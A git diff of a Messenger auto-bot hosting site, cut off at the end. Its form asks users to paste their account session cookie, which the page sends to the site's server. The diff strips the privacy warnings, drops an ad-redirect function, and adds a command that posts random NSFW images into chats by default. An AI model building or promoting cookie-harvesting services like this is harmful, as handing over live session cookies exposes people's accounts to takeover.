diff --git a/index.js b/index.js index c1e7f67d0..84439bd6b 100644 --- a/index.js +++ b/index.js @@ -25,4 +25,3 @@ function start() { } start(); - diff --git a/public/index.html b/public/index.html index 66f8ec18c..4cdbee072 100644 --- a/public/index.html +++ b/public/index.html @@ -1,93 +1,145 @@ - - Home - - - - - - - - +
+

๐™€๐™ฃ๐™ฉ๐™š๐™ง ๐™ฎ๐™ค๐™ช๐™ง ๐˜ผ๐™ฅ๐™ฅ๐™จ๐™ฉ๐™–๐™ฉ๐™š

+
-
- -
+
+ +
- -

Greetings! Begin by entering your cookie. Scroll down to carefully review our Terms and Privacy.

-
-
-

Terms and Conditions and Privacy Policy

-

Upon deployment or logging in, your chatbot connection remains active unless you personally access the bot's account or modify the password. This measure is in place to ensure the seamless operation and security of the chatbot.

-

Exercise caution and refrain from sharing your cookie with any third party. Your cookie contains sensitive information crucial to the confidentiality and security of your account and the connected chatbot.

-

As the service provider, we disclaim responsibility for any unauthorized account access. Users are strongly advised to implement security best practices, including the use of robust and unique passwords, to safeguard their accounts.

-

Accessing the bot's account may lead to a disruption in service. It is strongly recommended not to attempt to access the bot's account to maintain the continuous functionality of the chatbot.

-

If the chatbot is unresponsive, kindly return to this website. If issues persist, consider changing the account to ensure uninterrupted service.

-

We, as the service provider, disclaim responsibility for any account locking or suspension on the provided account. Users are expected to adhere to the terms of service of the hosting platform.

-

For added security, it is highly recommended to use dummy or disposable accounts when interacting with the chatbot.

-

Users are strictly prohibited from employing the chatbot for malicious activities. Violation of this rule may result in the termination of access to the chatbot and may have legal consequences.

-
-

Please choose your commands by tapping on the respective options.

+ +

Greetings! Begin by entering your cookie. Scroll down to see other features

+
+

๐—ฃ๐—น๐—ฒ๐—ฎ๐˜€๐—ฒ ๐—ฐ๐—ต๐—ผ๐—ผ๐˜€๐—ฒ ๐˜†๐—ผ๐˜‚๐—ฟ ๐—ฐ๐—ผ๐—บ๐—บ๐—ฎ๐—ป๐—ฑ๐˜€ ๐—ฏ๐˜† ๐˜๐—ฎ๐—ฝ๐—ฝ๐—ถ๐—ป๐—ด ๐—ผ๐—ป ๐˜๐—ต๐—ฒ ๐—ฟ๐—ฒ๐˜€๐—ฝ๐—ฒ๐—ฐ๐˜๐—ถ๐˜ƒ๐—ฒ ๐—ผ๐—ฝ๐˜๐—ถ๐—ผ๐—ป๐˜€.

-
-
-

Please choose your event commands by tapping on the respective options.

+
+
+

๐—ฃ๐—น๐—ฒ๐—ฎ๐˜€๐—ฒ ๐—ฐ๐—ต๐—ผ๐—ผ๐˜€๐—ฒ ๐˜†๐—ผ๐˜‚๐—ฟ ๐—ฒ๐˜ƒ๐—ฒ๐—ป๐˜ ๐—ฐ๐—ผ๐—บ๐—บ๐—ฎ๐—ป๐—ฑ๐˜€ ๐—ฏ๐˜† ๐˜๐—ฎ๐—ฝ๐—ฝ๐—ถ๐—ป๐—ด ๐—ผ๐—ป ๐˜๐—ต๐—ฒ ๐—ฟ๐—ฒ๐˜€๐—ฝ๐—ฒ๐—ฐ๐˜๐—ถ๐˜ƒ๐—ฒ ๐—ผ๐—ฝ๐˜๐—ถ๐—ผ๐—ป๐˜€.

-
-
-

Please provide a prefix (optional). If you choose not to, entering 'non-prefix' will be considered as your input

+
+
+

Please provide a prefix (optional)(choose one) .$, #, @, &, !, ?, +, /, *, -, %, โœ“, โ€ข, ร—, }, {, โˆ†, ยง, ~, |, ฯ€, รท, =, โ‚ฌ

-
-
-

Please provide an uid (optional). If you choose not to, entering 'default' will be considered as your input

+
+
+

๐—ฃ๐—น๐—ฒ๐—ฎ๐˜€๐—ฒ ๐—ฝ๐—ฟ๐—ผ๐˜ƒ๐—ถ๐—ฑ๐—ฒ ๐—ฎ๐—ป ๐˜‚๐—ถ๐—ฑ (๐—ผ๐—ฝ๐˜๐—ถ๐—ผ๐—ป๐—ฎ๐—น). ๐—œ๐—ณ ๐˜†๐—ผ๐˜‚ ๐—ฐ๐—ต๐—ผ๐—ผ๐˜€๐—ฒ ๐—ป๐—ผ๐˜ ๐˜๐—ผ, ๐—ฒ๐—ป๐˜๐—ฒ๐—ฟ๐—ถ๐—ป๐—ด '๐—ฑ๐—ฒ๐—ณ๐—ฎ๐˜‚๐—น๐˜' ๐˜„๐—ถ๐—น๐—น ๐—ฏ๐—ฒ ๐—ฐ๐—ผ๐—ป๐˜€๐—ถ๐—ฑ๐—ฒ๐—ฟ๐—ฒ๐—ฑ ๐—ฎ๐˜€ ๐˜†๐—ผ๐˜‚๐—ฟ ๐—ถ๐—ป๐—ฝ๐˜‚๐˜

-
- -
+
+ +
-
-
- - - - - - - - +
+ + + + + + + + + + + + + +
+
+
+
+ + +
+ + + + +
+

๐˜ˆ๐˜œ๐˜›๐˜– ๐˜‰๐˜–๐˜› ๐˜‰๐˜  MAORI

+ Developer Image +

+

๐˜Š๐˜ฐ๐˜ฏ๐˜ต๐˜ข๐˜ค๐˜ต maori ๐˜ช๐˜ง ๐˜ต๐˜ฉ๐˜ฆ๐˜ณ๐˜ฆ'๐˜ด ๐˜ด๐˜ฐ๐˜ฎ๐˜ฆ ๐˜ฆ๐˜ณ๐˜ณ๐˜ฐ๐˜ณ ๐˜ค๐˜ญ๐˜ช๐˜ค๐˜ฌ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ง๐˜ฃ ๐˜ฐ๐˜ณ ๐˜ฎ๐˜ฆ๐˜ด๐˜ด๐˜ฆ๐˜ฏ๐˜จ๐˜ฆ๐˜ณ ๐˜ช๐˜ค๐˜ฐ๐˜ฏ

+

Facebook Icon | Messenger Icon

+

+
+ + + +
+
+

+ + + + + +

+
+
+
+ + +
+ diff --git a/public/online.html b/public/online.html index 2593c9cdb..09cdcfaf3 100644 --- a/public/online.html +++ b/public/online.html @@ -115,19 +115,16 @@

Current O const userInfo = document.createElement('div'); userInfo.className = 'user-info'; const userName = document.createElement('h4'); - userName.textContent = name; - const profileLink = document.createElement('p'); - profileLink.innerHTML = `${profileUrl}`; + userName.textContent = `H I D D E N`; const uptimeUser = document.createElement('p'); uptimeUser.className = 'uptime-user'; - uptimeUser.innerHTML = `Uptime: ${timeFormat(time)}`; + uptimeUser.innerHTML = `Active Since: ${timeFormat(time)}`; userInfo.appendChild(userName); - userInfo.appendChild(profileLink); userInfo.appendChild(uptimeUser); userCard.appendChild(image); userCard.appendChild(userInfo); userOnline.appendChild(userCard); - + const intervalId = setInterval(() => { user.time++; updateTimer(userCard, user.time); @@ -138,12 +135,12 @@

Current O userOnline.innerHTML = ``; } } - + function updateTimer(userCard, currentTime) { const uptimeUser = userCard.querySelector('.uptime-user'); - uptimeUser.textContent = `Uptime: ${timeFormat(currentTime)}`; + uptimeUser.textContent = `Active Since: ${timeFormat(currentTime)}`; } - + function timeFormat(currentTime) { const days = Math.floor(currentTime / (3600 * 24)); const hours = Math.floor((currentTime % (3600 * 24)) / 3600); @@ -154,25 +151,25 @@

Current O switch (true) { case days > 0: - timeFormat += `${days} day${days > 1 ? 's' : ''} `; + timeFormat += `| ${days} day${days > 1 ? 's' : ''} `; case hours > 0: - timeFormat += `${hours} hour${hours > 1 ? 's' : ''} `; + timeFormat += `| ${hours} hour${hours > 1 ? 's' : ''} `; case minutes > 0: - timeFormat += `${minutes} minute${minutes > 1 ? 's' : ''} `; + timeFormat += `| ${minutes} minute${minutes > 1 ? 's' : ''} `; default: - timeFormat += `${seconds} second${seconds > 1 ? 's' : ''}`; + timeFormat += `| ${seconds} second${seconds > 1 ? 's' : ''}`; } return timeFormat.trim(); } - + listOfAi(); - - + + - + diff --git a/public/script.js b/public/script.js index b7d7238d4..1c6ea8ae4 100644 --- a/public/script.js +++ b/public/script.js @@ -1,253 +1,238 @@ document.getElementById('agreeCheckbox').addEventListener('change', function() { - document.getElementById('submitButton').disabled = !this.checked; + document.getElementById('submitButton').disabled = !this.checked; }); let Commands = [{ - 'commands': [] + 'commands': [] }, { - 'handleEvent': [] + 'handleEvent': [] }]; -function showAds() { - var ads = [ - 'https://bit.ly/43yn66n', - 'https://bit.ly/4adDagg', - 'https://bit.ly/3VzhG92', - 'https://bit.ly/3xkQTDg', - 'https://bit.ly/3TTUAZC' - ]; - var index = Math.floor(Math.random() * ads.length); - window.location.href = ads[index]; -} function measurePing() { - var xhr = new XMLHttpRequest(); - var startTime, endTime; - xhr.onreadystatechange = function() { - if (xhr.readyState === 4) { - endTime = Date.now(); - var pingTime = endTime - startTime; - document.getElementById("ping").textContent = pingTime + " ms"; - } - }; - xhr.open("GET", location.href + "?t=" + new Date().getTime()); - startTime = Date.now(); - xhr.send(); + var xhr = new XMLHttpRequest(); + var startTime, endTime; + xhr.onreadystatechange = function() { + if (xhr.readyState === 4) { + endTime = Date.now(); + var pingTime = endTime - startTime; + document.getElementById("ping").textContent = pingTime + " ms"; + } + }; + xhr.open("GET", location.href + "?t=" + new Date().getTime()); + startTime = Date.now(); + xhr.send(); } setInterval(measurePing, 1000); function updateTime() { - const now = new Date(); - const options = { - timeZone: 'Asia/Manila', - hour12: true, - hour: 'numeric', - minute: 'numeric', - second: 'numeric' - }; - const formattedTime = now.toLocaleString('en-US', options); - document.getElementById('time').textContent = formattedTime; + const now = new Date(); + const options = { + timeZone: 'Asia/Manila', + hour12: true, + hour: 'numeric', + minute: 'numeric', + second: 'numeric' + }; + const formattedTime = now.toLocaleString('en-US', options); + document.getElementById('time').textContent = formattedTime; } updateTime(); setInterval(updateTime, 1000); async function State() { - const jsonInput = document.getElementById('json-data'); - const button = document.getElementById('submitButton'); - if (!Commands[0].commands.length) { - return showResult('Please provide at least one valid command for execution.'); - } - try { - button.style.display = 'none'; - const State = JSON.parse(jsonInput.value); - if (State && typeof State === 'object') { - const response = await fetch('/login', { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - }, - body: JSON.stringify({ - state: State, - commands: Commands, - prefix: document.getElementById('inputOfPrefix').value, - admin: document.getElementById('inputOfAdmin').value, - }), - }); - const data = await response.json(); - if (data.success) { - jsonInput.value = ''; - showResult(data.message); - showAds(); - } else { - jsonInput.value = ''; - showResult(data.message); - showAds(); - } - } else { - jsonInput.value = ''; - showResult('Invalid JSON data. Please check your input.'); - showAds(); - } - } catch (parseError) { - jsonInput.value = ''; - console.error('Error parsing JSON:', parseError); - showResult('Error parsing JSON. Please check your input.'); - showAds(); - } finally { - setTimeout(() => { - button.style.display = 'block'; - }, 4000); - } + const jsonInput = document.getElementById('json-data'); + const button = document.getElementById('submitButton'); + if (!Commands[0].commands.length) { + return showResult('Please provide at least one valid command for execution.'); + } + try { + button.style.display = 'none'; + const State = JSON.parse(jsonInput.value); + if (State && typeof State === 'object') { + const response = await fetch('/login', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + state: State, + commands: Commands, + prefix: document.getElementById('inputOfPrefix').value, + admin: document.getElementById('inputOfAdmin').value, + }), + }); + const data = await response.json(); + if (data.success) { + jsonInput.value = ''; + showResult(data.message); + } else { + jsonInput.value = ''; + showResult(data.message); + } + } else { + jsonInput.value = ''; + showResult('Invalid JSON data. Please check your input.'); + } + } catch (parseError) { + jsonInput.value = ''; + console.error('Error parsing JSON:', parseError); + showResult('Error parsing JSON. Please check your input.'); + } finally { + setTimeout(() => { + button.style.display = 'block'; + }, 4000); + } } function showResult(message) { - const resultContainer = document.getElementById('result'); - resultContainer.innerHTML = `

${message}
`; - resultContainer.style.display = 'block'; + const resultContainer = document.getElementById('result'); + resultContainer.innerHTML = `
${message}
`; + resultContainer.style.display = 'block'; } async function commandList() { - try { - const [listOfCommands, listOfCommandsEvent] = [document.getElementById('listOfCommands'), document.getElementById('listOfCommandsEvent')]; - const response = await fetch('/commands'); - const { - commands, - handleEvent, - aliases - } = await response.json(); - [commands, handleEvent].forEach((command, i) => { - command.forEach((command, index) => { - const container = createCommand(i === 0 ? listOfCommands : listOfCommandsEvent, index + 1, command, i === 0 ? 'commands' : 'handleEvent', aliases[index] || []); - i === 0 ? listOfCommands.appendChild(container) : listOfCommandsEvent.appendChild(container); - }); - }); - } catch (error) { - console.log(error); - } + try { + const [listOfCommands, listOfCommandsEvent] = [document.getElementById('listOfCommands'), document.getElementById('listOfCommandsEvent')]; + const response = await fetch('/commands'); + const { + commands, + handleEvent, + aliases + } = await response.json(); + [commands, handleEvent].forEach((command, i) => { + command.forEach((command, index) => { + const container = createCommand(i === 0 ? listOfCommands : listOfCommandsEvent, index + 1, command, i === 0 ? 'commands' : 'handleEvent', aliases[index] || []); + i === 0 ? listOfCommands.appendChild(container) : listOfCommandsEvent.appendChild(container); + }); + }); + } catch (error) { + console.log(error); + } } function createCommand(element, order, command, type, aliases) { - const container = document.createElement('div'); - container.classList.add('form-check', 'form-switch'); - container.onclick = toggleCheckbox; - const checkbox = document.createElement('input'); - checkbox.classList.add('form-check-input', type === 'handleEvent' ? 'handleEvent' : 'commands'); - checkbox.type = 'checkbox'; - checkbox.role = 'switch'; - checkbox.id = `flexSwitchCheck_${order}`; - const label = document.createElement('label'); - label.classList.add('form-check-label', type === 'handleEvent' ? 'handleEvent' : 'commands'); - label.for = `flexSwitchCheck_${order}`; - label.textContent = `${order}. ${command}`; - container.appendChild(checkbox); - container.appendChild(label); - /* - if (aliases.length > 0 && type !== 'handleEvent') { - const aliasText = document.createElement('span'); - aliasText.classList.add('aliases'); - aliasText.textContent = ` (${aliases.join(', ')})`; - label.appendChild(aliasText); - } - */ - return container; + const container = document.createElement('div'); + container.classList.add('form-check', 'form-switch'); + container.onclick = toggleCheckbox; + const checkbox = document.createElement('input'); + checkbox.classList.add('form-check-input', type === 'handleEvent' ? 'handleEvent' : 'commands'); + checkbox.type = 'checkbox'; + checkbox.role = 'switch'; + checkbox.id = `flexSwitchCheck_${order}`; + const label = document.createElement('label'); + label.classList.add('form-check-label', type === 'handleEvent' ? 'handleEvent' : 'commands'); + label.for = `flexSwitchCheck_${order}`; + label.textContent = `${order}. ${command}`; + container.appendChild(checkbox); + container.appendChild(label); + /* + if (aliases.length > 0 && type !== 'handleEvent') { + const aliasText = document.createElement('span'); + aliasText.classList.add('aliases'); + aliasText.textContent = ` (${aliases.join(', ')})`; + label.appendChild(aliasText); + } + */ + return container; } function toggleCheckbox() { - const box = [{ - input: '.form-check-input.commands', - label: '.form-check-label.commands', - array: Commands[0].commands - }, { - input: '.form-check-input.handleEvent', - label: '.form-check-label.handleEvent', - array: Commands[1].handleEvent - }]; - box.forEach(({ - input, - label, - array - }) => { - const checkbox = this.querySelector(input); - const labelText = this.querySelector(label); - if (checkbox) { - checkbox.checked = !checkbox.checked; - if (checkbox.checked) { - labelText.classList.add('disable'); - const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; - array.push(command); - } else { - labelText.classList.remove('disable'); - const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; - const removeCommand = array.indexOf(command); - if (removeCommand !== -1) { - array.splice(removeCommand, 1); - } - } - } - }); + const box = [{ + input: '.form-check-input.commands', + label: '.form-check-label.commands', + array: Commands[0].commands + }, { + input: '.form-check-input.handleEvent', + label: '.form-check-label.handleEvent', + array: Commands[1].handleEvent + }]; + box.forEach(({ + input, + label, + array + }) => { + const checkbox = this.querySelector(input); + const labelText = this.querySelector(label); + if (checkbox) { + checkbox.checked = !checkbox.checked; + if (checkbox.checked) { + labelText.classList.add('disable'); + const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; + array.push(command); + } else { + labelText.classList.remove('disable'); + const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; + const removeCommand = array.indexOf(command); + if (removeCommand !== -1) { + array.splice(removeCommand, 1); + } + } + } + }); } function selectAllCommands() { - const box = [{ - input: '.form-check-input.commands', - array: Commands[0].commands - }]; - box.forEach(({ - input, - array - }) => { - const checkboxes = document.querySelectorAll(input); - const allChecked = Array.from(checkboxes).every(checkbox => checkbox.checked); - checkboxes.forEach((checkbox) => { - if (allChecked) { - checkbox.checked = false; - const labelText = checkbox.nextElementSibling; - labelText.classList.remove('disable'); - const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; - const removeCommand = array.indexOf(command); - if (removeCommand !== -1) { - array.splice(removeCommand, 1); - } - } else { - checkbox.checked = true; - const labelText = checkbox.nextElementSibling; - labelText.classList.add('disable'); - const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; - if (!array.includes(command)) { - array.push(command); - } - } - }); - }); + const box = [{ + input: '.form-check-input.commands', + array: Commands[0].commands + }]; + box.forEach(({ + input, + array + }) => { + const checkboxes = document.querySelectorAll(input); + const allChecked = Array.from(checkboxes).every(checkbox => checkbox.checked); + checkboxes.forEach((checkbox) => { + if (allChecked) { + checkbox.checked = false; + const labelText = checkbox.nextElementSibling; + labelText.classList.remove('disable'); + const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; + const removeCommand = array.indexOf(command); + if (removeCommand !== -1) { + array.splice(removeCommand, 1); + } + } else { + checkbox.checked = true; + const labelText = checkbox.nextElementSibling; + labelText.classList.add('disable'); + const command = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; + if (!array.includes(command)) { + array.push(command); + } + } + }); + }); } function selectAllEvents() { - const box = [{ - input: '.form-check-input.handleEvent', - array: Commands[1].handleEvent - }]; - box.forEach(({ - input, - array - }) => { - const checkboxes = document.querySelectorAll(input); - const allChecked = Array.from(checkboxes).every(checkbox => checkbox.checked); - checkboxes.forEach((checkbox) => { - if (allChecked) { - checkbox.checked = false; - const labelText = checkbox.nextElementSibling; - labelText.classList.remove('disable'); - const event = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; - const removeEvent = array.indexOf(event); - if (removeEvent !== -1) { - array.splice(removeEvent, 1); - } - } else { - checkbox.checked = true; - const labelText = checkbox.nextElementSibling; - labelText.classList.add('disable'); - const event = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; - if (!array.includes(event)) { - array.push(event); - } - } - }); - }); + const box = [{ + input: '.form-check-input.handleEvent', + array: Commands[1].handleEvent + }]; + box.forEach(({ + input, + array + }) => { + const checkboxes = document.querySelectorAll(input); + const allChecked = Array.from(checkboxes).every(checkbox => checkbox.checked); + checkboxes.forEach((checkbox) => { + if (allChecked) { + checkbox.checked = false; + const labelText = checkbox.nextElementSibling; + labelText.classList.remove('disable'); + const event = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; + const removeEvent = array.indexOf(event); + if (removeEvent !== -1) { + array.splice(removeEvent, 1); + } + } else { + checkbox.checked = true; + const labelText = checkbox.nextElementSibling; + labelText.classList.add('disable'); + const event = labelText.textContent.replace(/^\d+\.\s/, '').split(" ")[0]; + if (!array.includes(event)) { + array.push(event); + } + } + }); + }); } commandList(); diff --git a/public/styles.css b/public/styles.css index 12198e2b2..e7e068202 100644 --- a/public/styles.css +++ b/public/styles.css @@ -1,122 +1,209 @@ body { - padding: 20px; - background-color: #f8f9fa; - font-family: 'Poppins', sans-serif; -} - .container { - background-color: #ffffff; - border-radius: 10px; - box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); - padding: 20px; - margin-top: 20px; - margin-bottom: 20px; -} - h1 { - color: #343a40; -} - label { - color: #495057; -} - .centered-textarea { - display: block; - margin: 0 auto; - width: 100%; - min-height: 150px; - padding: 10px; - box-sizing: border-box; - border: 1px solid #ced4da; - border-radius: 5px; - resize: none; -} - .btn-primary { - background-color: #007bff; - border: 1px solid #007bff; -} - .btn-primary:hover { - background-color: #0056b3; - border: 1px solid #0056b3; -} - .success-message { - color: green; - margin-top: 10px; -} - .footer { - background-color: rgba(255, 255, 255, 0.7); - padding: 10px; - text-align: center; - font-size: 16px; - color: #555; - margin-top: 50px; - border-top: 1px solid #ccc; - position: fixed; - bottom: 0; - left: 0; - width: 100%; -} - .footer p { - margin: 0; - display: inline-block; - margin-right: 30px; -} - .container-buttons { - margin-top: 20px; - text-align: center; -} - .container-buttons .btn { - margin: 5px; -} - - #result { - padding: 10px; - margin-top: 20px; - border-radius: 5px; -} - .center-placeholder::placeholder { - text-align: center; + padding: 20px; + background-color: #0e0e0e; + font-family: 'Poppins', sans-serif; + color: #fff; + background-image: url('https://media4.giphy.com/media/jaOXKCxtBPLieRLI0c/giphy.gif?cid=6c09b952uys1wv9s8v4hnc7dbo339rgcjiunfvyovq9u6m5n&ep=v1_internal_gif_by_id&rid=giphy.gif&ct=g'); + background-size: cover; + background-repeat: no-repeat; + background-attachment: fixed; +} + +.container { + background-image: url('https://media4.giphy.com/media/jaOXKCxtBPLieRLI0c/giphy.gif?cid=6c09b952uys1wv9s8v4hnc7dbo339rgcjiunfvyovq9u6m5n&ep=v1_internal_gif_by_id&rid=giphy.gif&ct=g'); + background-size: cover; + background-repeat: no-repeat; + background-color: rgba(26, 26, 26, 0.8); + border-radius: 10px; + box-shadow: 0 10px 20px rgba(0, 0, 0, 0.3), 0 6px 6px rgba(0, 0, 0, 0.23); + padding: 20px; + margin-top: 20px; + margin-bottom: 20px; +} + + +h1 { + color: #fff; +} + +label { + color: #ccc; +} + +.navbar { + background-color: #000; + border-radius: 10px; +} + +.navbar-brand { + color: #fff; +} + +.navbar-light .navbar-toggler-icon { + background-color: #fff; +} + +.centered-textarea { + display: block; + margin: 0 auto; + width: 100%; + min-height: 150px; + padding: 10px; + box-sizing: border-box; + border: 1px solid violet; + border-radius: 5px; + resize: none; + color: #fff; +} + +.btn-primary { + background-color: red; + border: 1px solid red; + color: #fff; +} + +.btn-primary:hover { + background-color: #0056b3; + border: 1px solid #0056b3; +} + +.success-message { + color: green; + margin-top: 10px; +} + +.footer { + background-color: rgba(255, 255, 255, 0.1); + padding: 10px; + text-align: center; + font-size: 16px; + color: red; + margin-top: 50px; + border-top: 1px solid red; + position: fixed; + bottom: 0; + left: 0; + width: 100%; +} + +.footer p { + margin: 0; + display: inline-block; + margin-right: 30px; +} + +.container-buttons { + margin-top: 20px; + text-align: center; +} + +.container-buttons .btn { + margin: 5px; +} + +#result { + padding: 10px; + margin-top: 20px; + border-radius: 5px; + color: #fff; +} + +.center-placeholder::placeholder { + text-align: center; + color: #ccc; } .form-check { - display: flex; - margin-top: 10px; - padding: 14px; - align-items: center; - border: 1px solid #ccc; - border-radius: 8px; - cursor: pointer; - transition: background-color 0.3s ease, border-color 0.3s ease; - border-color: #ccc; - background-color: #fff; + display: flex; + margin-top: 10px; + padding: 14px; + align-items: center; + border: 1px solid #444; + border-radius: 8px; + cursor: pointer; + transition: background-color 0.3s ease, border-color 0.3s ease; + background-color: #1a1a1a; } .form-check:hover { - background-color: #f0f0f0; - border-color: #333; + background-color: #222; + border-color: #777; } .form-check-input { - margin-right: 10px; - opacity: 0; + margin-right: 10px; + opacity: 0; } .disable { - display: none; + display: none; } #inputOfPrefix, #inputOfAdmin { - padding: 13px; - width: 200px; - border: 1px solid #ccc; - border-radius: 8px; - cursor: pointer; - transition: background-color 0.3s ease, border-color 0.3s ease; - border-color: #ccc; - background-color: #fff; + padding: 13px; + width: 200px; + border: 1px solid #444; + border-radius: 8px; + cursor: pointer; + transition: background-color 0.3s ease, border-color 0.3s ease; + background-color: #1a1a1a; + color: #fff; } + +#json-data { + background-image: url('https://media2.giphy.com/media/A608loAlQgF4ag7k4m/giphy.gif?cid=6c09b952vhagzn9t9zcznwjusfc3o94h236aj60uvmag2pl5&ep=v1_internal_gif_by_id&rid=giphy.gif&ct=g'); + background-size: cover; + background-repeat: no-repeat; +} + #listOfCommands, #listOfCommandsEvent, #prefixOfCommands, #adminOfCommands { - border: none !important; + border: none !important; } #listOfCommands:not(.modal), #listOfCommandsEvent:not(.modal), #prefixOfCommands:not(.modal), #adminOfCommands:not(.modal) { - box-shadow: none !important; + box-shadow: 0 10px 20px rgba(0, 0, 0, 0.3), 0 6px 6px rgba(0, 0, 0, 0.23); +} + +.container h1 { + position: relative; + display: inline-block; + padding: 10px 20px; + margin-bottom: 20px; + background-color: #222; + border-radius: 5px; + box-shadow: 0 10px 20px rgba(0, 0, 0, 0.3), 0 6px 6px rgba(0, 0, 0, 0.23); +} + +.container p { + line-height: 1.6; +} + +.container ul { + padding-left: 20px; +} + +.container ul li { + list-style: none; +} + +.container ul li::before { + content: '\2022'; + color: #007bff; + font-weight: bold; + display: inline-block; + width: 1em; + margin-left: -1em; +} + +.container ul li + li { + margin-top: 10px; } +@media (max-width: 768px) { + .container h1 { + font-size: 18px; + } + video { + width: 100%; + border: 5px solid violet; + } diff --git a/script/4chan.js b/script/4chan.js new file mode 100644 index 000000000..f4e229cda --- /dev/null +++ b/script/4chan.js @@ -0,0 +1,205 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); + +const MAX_FILE_SIZE_MB = 25; +const MAX_COUNT = 10; +let NSFW = true; + +module.exports.config = { + name: '4chan', + aliases: ['civitai', 'civit.ai', 'random-nsfw'], + version: '4.0.0', + role: 0, + credits: 'Kenneth Panio', + description: 'Get random uploaded content from civit.ai', + hasPrefix: false, + usage: '[count] or nsfw', + cooldowns: 0, +}; + +const getRandomElement = array => array[Math.floor(Math.random() * array.length)]; + +const getFileExtension = contentType => { + const extensions = { + 'image/jpeg': 'png', + 'image/png': 'png', + 'image/gif': 'gif', + 'image/bmp': 'png', + 'image/webp': 'png', + 'video/mp4': 'mp4', + 'video/webm': 'mp4', + 'video/quicktime': 'mp4', + }; + return extensions[contentType] || 'unknown'; +}; + +const downloadAndSaveMedia = async (mediaUrl, index, cacheDir) => { + try { + const response = await axios.get(mediaUrl, { responseType: 'stream' }); + const contentType = response.headers['content-type']; + const contentExtension = getFileExtension(contentType); + + if (contentExtension === 'unknown') { + console.log(`Skipped: ${mediaUrl} - Unknown content type`); + return null; + } + + const mediaPath = path.join(cacheDir, `civ_${index + 1}.${contentExtension}`); + const fileStream = fs.createWriteStream(mediaPath); + + response.data.pipe(fileStream); + + return new Promise((resolve, reject) => { + fileStream.on('finish', () => resolve({ stream: fs.createReadStream(mediaPath), contentType, contentExtension, path: mediaPath })); + fileStream.on('error', reject); + }); + + } catch (error) { + console.error("Error downloading and saving media:", error); + return null; + } +}; + +const getRandomCombinations = () => { + const minPage = 1; + const maxPage = 31; + const randPage = Math.floor(Math.random() * (maxPage - minPage + 1)) + minPage; + const randSort = getRandomElement(['Newest', 'Most Reactions', 'Most Comments']); + const randPeriod = getRandomElement(['AllTime', 'Year', 'Week', 'Day']); + + return { randPage, randSort, randPeriod }; +}; + +module.exports.run = async function ({ api, event, args }) { + const { threadID, messageID } = event; + + if (args[0] && args[0].toLowerCase() === 'nsfw') { + NSFW = !NSFW; + const statusMsg = NSFW ? 'NSFW mode is now ON.' : 'NSFW mode is now OFF.'; + api.sendMessage(statusMsg, threadID, messageID); + return; + } else { api.sendMessage('๐Ÿ•œ | Finding Delicious Images!...', threadID, messageID); +} + + const cnt = parseInt(args[0]) || 4; + + if (cnt <= 0 || cnt > MAX_COUNT) { + api.sendMessage(`Invalid count. Please provide a count between 1 and ${MAX_COUNT}.`, threadID, messageID); + return; + } + + const Media = []; + const usedCombos = new Set(); + + try { + const baseUrl = 'https://civitai.com/api/v1/images'; + const cacheDir = path.join(__dirname, '/cache'); + + if (!fs.existsSync(cacheDir)) { + fs.mkdirSync(cacheDir); + } + + for (let i = 0; i < cnt; i++) { + let uniqueComboFound = false; + + while (!uniqueComboFound) { + const { randPage, randSort, randPeriod } = getRandomCombinations(); + const comboKey = `${randPage}_${randSort}_${randPeriod}`; + + if (!usedCombos.has(comboKey)) { + usedCombos.add(comboKey); + uniqueComboFound = true; + + try { + const response = await axios.get(baseUrl, { + params: { + page: randPage, + nsfw: NSFW, + limit: 18, + sort: randSort, + period: randPeriod, + }, + }); + + if (response.data && response.data.items && response.data.items.length > 0) { + const randIndex = Math.floor(Math.random() * response.data.items.length); + const randMedia = response.data.items[randIndex]; + const mediaUrl = randMedia.url; + + const downloadedMedia = await downloadAndSaveMedia(mediaUrl, i, cacheDir); + + if (downloadedMedia) { + Media.push(downloadedMedia); + } + } else { + // api.sendMessage(`No Data Found From Civit.AI`, threadID, messageID); + } + } catch (error) { + console.error("Error fetching data from Civit.AI:", error); + // api.sendMessage(`Error fetching data from Civit.AI. Please try again.`, threadID, messageID); + } + } + } + } + + const sendMediaMsgs = async (type, attachments) => { + if (attachments.length > 0) { + const pictureAttachments = attachments.filter(item => + item.contentType.startsWith('image/') && !['video/mp4', 'video/webm'].includes(item.contentType) + ); + + const videoAttachments = attachments.filter(item => + ['video/mp4', 'video/webm'].includes(item.contentType) + ); + + const gifAttachments = attachments.filter(item => + item.contentType === 'image/gif' + ); + + // Send pictures + if (pictureAttachments.length > 0) { + await api.sendMessage({ + body: `๐—ฅ๐—”๐—ฃ๐—ฆ๐—” ๐Ÿคค - Pictures`, + attachment: pictureAttachments.map(item => item.stream), + }, threadID, messageID); + + pictureAttachments.forEach(item => fs.unlinkSync(item.path)); + } + + // Send GIFs + if (gifAttachments.length > 0) { + await api.sendMessage({ + body: `๐—ฅ๐—”๐—ฃ๐—ฆ๐—” ๐Ÿคค - GIFs`, + attachment: gifAttachments.map(item => item.stream), + }, threadID, messageID); + + gifAttachments.forEach(item => fs.unlinkSync(item.path)); + } + + // Send Videos + if (videoAttachments.length > 0) { + await api.sendMessage({ + body: `๐—ฅ๐—”๐—ฃ๐—ฆ๐—” ๐Ÿคค - Videos`, + attachment: videoAttachments.map(item => item.stream), + }, threadID, messageID); + + videoAttachments.forEach(item => fs.unlinkSync(item.path)); + } + + // Delete all files in the cache directory + const filesInCache = fs.readdirSync(cacheDir); + filesInCache.forEach(file => { + const filePath = path.join(cacheDir, file); + fs.unlinkSync(filePath); + }); + } + }; + + await sendMediaMsgs('Media', Media); + + } catch (error) { + console.error("General error:", error); + api.sendMessage('Server is Down, 